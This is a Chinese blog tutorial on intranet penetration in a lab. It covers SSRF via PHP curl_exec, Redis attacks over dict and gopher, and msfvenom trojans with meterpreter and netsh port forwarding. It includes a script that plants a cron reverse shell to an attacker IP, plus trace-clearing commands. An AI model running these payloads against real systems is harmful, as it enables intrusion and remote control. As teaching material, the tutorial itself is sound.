本文最后更新于 2024-06-18,文章内容可能已经过时。

内网渗透入门

一、内网概述:

内网也指局域网(Local Area Network,LAN).是指在某一区域内由多台计算机互联成的计算机组。

一般是方圆几千米以内。局域网可以实现文件管理,应用软件共享,打印机共享,工作组内的历程安排,电子邮件和传真通信服务等功能

内网中一些概念:

工作组(Work Group):

这个概念是为了解决单位内成百上千台电脑互相连接组成的局域网中寻找某台电脑很困难的问题,将不同的电脑按功能(或者部门)分别列入不同的工作组中。

域(Domain):

域是一个有安全边界的计算机集合(安全边界意思是在两个域中一个域中的用户无法访问另一个域内的资源),相比工作组而言,更加便于统一管理,更加安全。

域控制器(Domain Controller 简写为DC)

是一个域中的一台类似管理服务器的计算机,相当于门卫,拿下它就相当于拿下了整个域内所有计算机

活动目录(Active Directory 简写为AD):

是域环境中提供目录服务的组件。如果将企业的内网看成字典,内网里的资源就是字典的内容,

AD就相当于是字典的索引

典型域拓扑:

image-20240617034320559

单域:

小公司里一个域就可以满足所需,但是至少要有两个域服务器,一个作为DC,一个作为备份DC

父域和子域:

出于管理等需求,需要在网络中划分多个域,第一个域称为父域,各分公司的域称为该域的子域。

域树,域森林:

(1)域树指若干个域通过建立信任关系组成的集合。两个域之间相互访问需要建立信任关系

image-20240617034603154

(2)域森林指若干个域树通过建立信任关系组成的集合。可以通过域树之间建立的信任关系来管理和使用整个森林中的资源,从而又保持了原有域白身原有的特性。

image-20240617034659083

内网操作有以下三种方式 :

  1. SSRF漏洞+Redis进行操作
  2. 端口转发
  3. 做代理

image-20240617033640417

为什么要学习内网渗透:

学习内网渗透是网络安全的重要一环,因为企业内部网络中的敏感数据和系统往往更容易成为攻击者的目标。通过学习内网渗透,可以提高对内网安全威胁的识别和应对能力。

如果一个企业被黑客获取了一定的网络权限,也许这个企业的命脉就会被掌握,机密资料,人员信息,网站都被控制。例如金融行业,股票操盘等数据对其极为重要,如泄露或许会使一大部分人盈利,自己也会损失惨重。传媒行业,可以被屏蔽信息,修改舆论,内部新闻资料及相关人士的信息被获取。

对于初具规模的企业来说,内部沟通需要邮件,即时沟通需要im软件,需要有域控,需要有核心交换机,有几个指定内外网交换出口,或连通IDC的内网通道,但是完善的同时也存在着一些安全隐患。

1.1 、什么是SSRF漏洞

伪造服务端请求 。

比如在php环境下,如果存在以下三个函数,:

PHP中下面函数的使用不当会导致SSRF:
file_get_contents()   #获取文件内容
例如:file_get_contents(http://10.10.10.102:3306)
fsockopen() #文件或者url
curl_exec() #获取数据

就会存在SSRF漏洞 。

image-20240617121342016

image-20240617161733869

image-20240613153408703

发送请求 访问 192.168.92.133主机,传递一个参数 url=http://10.10.10.102/woniu/info1.php 这个参数是一个内网主机的服务,本身我们是不能访问,但是我们通过192.168.92.133主机上的php服务中的一个函数 curl_exec() ,通过这个函数发送请求到10.10.10.102主机,返回数据 。这样就可以访问内网数据 。

php函数 curl_exec() 发生请求时利用的是 http协议,curl_exec()请求时支持协议并不只有http协议 例如 :

file协议:

http://192.168.92.133/pikachu/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd

file 协议:file协议是一种用于访问本地计算机中的文件的协议。通过file协议,用户可以在不通过互联网的情况下直接在网页中访问本地计算机上的文件

image-20240617173356864

curl_exec()请求时支持的协议:

  1. file
  2. dict
  3. sftp
  4. ldap
  5. tftp
  6. gopher
  7. http

举个通俗易懂点的例子解释SSRF:

假设你(攻击者)有个朋友,他是个富豪(服务器)。他有三个老婆(三台内网主机)。有一天,你告诉他:“我听说你家三个老婆很漂亮,可惜我有最近很忙,可以告诉我家的地址,有时间的话可以去你家玩玩,看看你老婆(内网)长啥样吗?”(伪造请求信息)他出于信任把三个老婆的相貌等信息和家庭地址告诉了你。(返回给攻击者内网信息)但其实,那些都是私人的隐私,不该被外人知道。等富豪出门不在家,你就可以去他家找他老婆玩了,这就是NTR(bushi

这就是SSRF的原理,攻击者利用了服务器的好奇心,让服务器去做了本不该做的事情,获取了本不该获取的信息。

1.2 、利用SSRF进行端口探测

  1. 开发一个php页面

    在这个php页面中需要包含ssrf漏洞 , curl_exec

    <?php
    $url = $_GET['url'];
    //http://192.168.205.129/dashboard/phpinfo.php
    //创建一个url资源
    $ch = curl_init();
    
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_HEADER, 0);
    
    //抓取url ,并且传递给浏览器
    curl_exec($ch);
    
    //释放资源 
    curl_close($ch);
    ?>
    
  2. 访问外网 (shell.php)

    image-20240613154631783

  3. 探测端口

  4. 3306

    http://192.168.92.133/pikachu/vul/ssrf/shell.php?url=http://10.10.10.102:3306

    如下可以获取到mysql的版本信息等

    image-20240613154815922

  5. 22

    http://192.168.92.133/pikachu/vul/ssrf/shell.php?url=http://10.10.10.102:22

    image-20240617191837769

  6. 6379

    http://192.168.92.133/pikachu/vul/ssrf/shell.php?url=dict://10.10.10.102:6379

    image-20240617191910352

    dict和gopher协议都和redis数据库有关系,比较重要

1.3 、SSRF的dict协议

dict协议 : 字典协议,操作的就是键值对 ,redis的存储 ,就是以键值对进行操作,所以dict协议操作redis天生就具有优势

dict 协议特点 :dict操作redis'时,每次只能操作一个指令,redis不能设置密码 。也就是dict协议不能记录会话状态

#查询所有值
http://192.168.92.133/pikachu/shell.php?url=dict://10.10.10.102:6379/keys:*
或者 
http://192.168.92.133/pikachu/shell.php?url=dict://10.10.10.102:6379/keys%20*

#查询手机号
http://192.168.92.133/pikachu/shell.php?url=dict://10.10.10.102:6379/get:phone

#添加值 
http://192.168.92.133/pikachu/shell.php?url=dict://10.10.10.102:6379/set:age:20


#创建定时器
http://192.168.92.133/pikachu/shell.php?url=dict://10.10.10.102:6379/config:set:dir:/var/spool/cron

1.4、SSRF的gopher操作

gopher协议相对于dict协议对于redis数据库的作用是:dict协议针对没有设置密码的可以使用,而gopher协议可以对设置密码的redis数据库进行操作

Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击redis,mysql,fastcgi,smtp等服务,也可以进行 GET、POST 请求。

gopher协议数据格式:

gopher://ip:port/_TCP/IP数据流

#用python写一段gopher协议编码文件

import urllib.parse
# *n  代表后面有几个参数
# $n  参数的的字符个数
# \r  回车
# \n  换行

# redis密码和需要设的值
# auth default 123456   
# set sex male

#cmd="...." 是拼的字符串
#urllib.parse.quote是进行编码的函数
cmd = "*3\r\n$4\r\nauth\r\n$7\r\ndefault\r\n$6\r\n123456\r\n*3\r\n$3\r\nset\r\n$3\r\nsex\r\n$4\r\nmale\r\n"
payload = urllib.parse.quote(cmd)
print(payload)

# 执行结果 %2A3%0D%0A%244%0D%0Aauth%0D%0A%247%0D%0Adefault%0D%0A%246%0D%0A123456%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Asex%0D%0A%244%0D%0Amale%0D%0A


#获取get参数
# auth default 123456 
# get sex
s = "*3\r\n$4\r\nauth\r\n$7\r\ndefault\r\n$6\r\n123456\r\n*2\r\n$3\r\nget\r\n$3\r\nsex\r\n"
payload2 = urllib.parse.quote(s);
print(payload2)

# 执行结果%2A3%0D%0A%244%0D%0Aauth%0D%0A%247%0D%0Adefault%0D%0A%246%0D%0A123456%0D%0A%2A2%0D%0A%243%0D%0Aget%0D%0A%243%0D%0Asex%0D%0A

将执行出来的结果用gopher协议拼到网页URL上。前面要加上下划线

格式类似这种:

http://192.168.92.133/pikachu/shell.php?url=gopher://内网地址:端口/_执行的结果

url地址 :

http://192.168.92.133/pikachu/shell.php?url=gopher://10.10.10.102:6379/_%2A3%0D%0A%244%0D%0Aauth%0D%0A%247%0D%0Adefault%0D%0A%246%0D%0A123456%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Asex

对下划线后面的数据进行url编码 :通过浏览器上的URL进行操作。

http://192.168.92.133/pikachu/shell.php?url=gopher://10.10.10.102:6379/_%25%32%41%33%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%37%25%30%44%25%30%41%64%65%66%61%75%6c%74%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%78

gopher 只能设置值 ,看不到查询的值

gopher协议的操作麻烦的是执行的编写有很多\r和\n,但是很有规律,可以写一段python脚本进行操作:

# 清空redis数据库里的数据
command_list = ['auth default 123456', 'flushdb', 'config set dir /var/spool/cron',
         # 设置数据库名字
         'config set dbfilename root',
          # 设置反弹shell,save存入redis
         'set myshell \n\n*/1#*#*#*#*#/bin/bash#-i#>&#/dev/tcp/192.168.112.216/4444#0>&1\n\n', 'save']

# 拼payload
payload = ''
for command in command_list:
    list = command.split(' ')
    payload += f'*{len(list)}\r\n'
    for item in list:
        if '#' in item:
            item = item.replace('#',' ')
        payload += f'${len(item)}\r\n{item}\r\n'

print(urllib.parse.quote(payload))

注意点:最后生成的payload需要进行url二次编码才能正常运行

二、端口转发

2.1 、环境搭建

  1. windows2008 (外网主机)

  2. win7 (内网)

  3. win 2003 (内网)

Windows外网主机 (2008)

  • 添加vmnet19

image-20240428231651963

image-20240428231747012

image-20240428231829170

image-20240428231921515

image-20240428232332531

(1)查看win2008主机的IP :

image-20240617235142633

右键主机 –> 设置 :

image-20240428232716856

(2)win2003配置内网固定IP :

image-20240428232624795

测试外网链接 :

image-20240428232959961

(3)、Windows 7内网主机

  1. 设置网络

    image-20240428233120179

  2. 配置内网固定IP

    image-20240428233246699

  3. 测试内网

    image-20240428233348012

  4. 测试外网链接内网

    image-20240428233430457

    1. 安装Xampp

    省略

    测试:win7的xampp开启:

image-20240618013015147

端口转发的原理:

在win7的80端口是xmapp的服务,win7是内网,外网访问不到win7的80端口,win2008有一个连接外网的ip地址,在win8可以做一个端口转发把win7的80端口转发到win2008上连接外网ip的8888端口,这样外网访问win8连接外网的ip地址加上8888端口就是在访问win7的80端口,由此可以实现外网访问内网的主机服务。

image-20240618013519371

正常在渗透的时候,win8这里就是跳板机,在入侵到可以进行外网通信的win8后,做端口转发实现对win7的访问,从而入侵win7。

2.2 、shell(netsh工具)端口转发

(1)、拿下跳板机

创建一个木马,拿下跳板机(Win2008)

kali上创建木马并启动监听:、

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.91.129 lport=5555 -f exe -o neiwang.exe

image-20240618014312438

image-20240618015500522

木马上线后拿到win2008主机的shell

image-20240618015608900

image-20240618015955159

(2)、查看缓存记录(通信主机的IP的缓存记录)

arp -a

image-20240618020152553

通过缓存记录,可以大概的查看到和跳板机在一个局域网中的主机 .

(3)、做端口转发 (netsh)

假设已经知道(win7内网) IP :(10.10.10.110)端口 :80

netsh interface portproxy add v4tov4 listenport=8888 connectaddress=10.10.10.110 connectport=80
# listenport=8888   内网端口转发到跳板机上的端口
# connectaddress=10.10.10.110 内网主机 IP
# connectport=80   内网端口

image-20240618020422755

查看端口开放情况 :(netstat -antp tcp)

image-20240618020520963

查看端口转发是否成功 :

netsh interface portproxy show al

image-20240618020549697

(4)、访问8888端口

http://192.168.91.138:8888/dashboard/phpinfo.php

image-20240618020740230

可以看到phpinfo文件显示为内网主机win7的信息。

(5)、删除端口(清除痕迹)

netsh interface portproxy delete v4tov4 listenport=80
netsh interface portproxy reset

image-20240618020930248

2.3 、MSF端口转发

MSF框架中,进入 meterpreter ,在meterpreter中提供了端口转发的功能 :

#转发,将win7内网的80端口,转发到kali上的8889端口
portfwd  add -l 8889 -r 10.10.10.110 -p 80
# 列出转发端口
portfwd list

image-20240618025320026

查看(netstat -antp)

image-20240618025407727

image-20240618025446672

测试访问 :

http://192.168.91.129:8889/dashboard/phpinfo.php

image-20240618025538081

2.4 、正向连接

(1)、生成木马

msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=0.0.0.0 LPORT=5555 -f exe -o bind5555.exe

image-20240618021646426

将生成的木马文件拷贝到内网主机win7中(假设内网主机被攻陷,攻击者上传了正向连接木马到内网win7主机中)

内网主机win7运行木马,netstat -antp tcp查看连接发现有5555端口正在监听

image-20240618030156201

(2)、端口转发

# 把目标主机的木马端口 转发到 kali上 的5555端口
portfwd  add -l 6666 -r 10.10.10.110 -p 5555

image-20240618030332572

(3)、Kali连接

kali启动监听:

use exploit/multi/handler

set payload windows/x64/meterpreter/bind_tcp

show options 

set lport 6666        # 转发到kali上的 110主机上  6666端口

set rhost 192.168.91.129         #  kalid的IP 

run

image-20240618030715074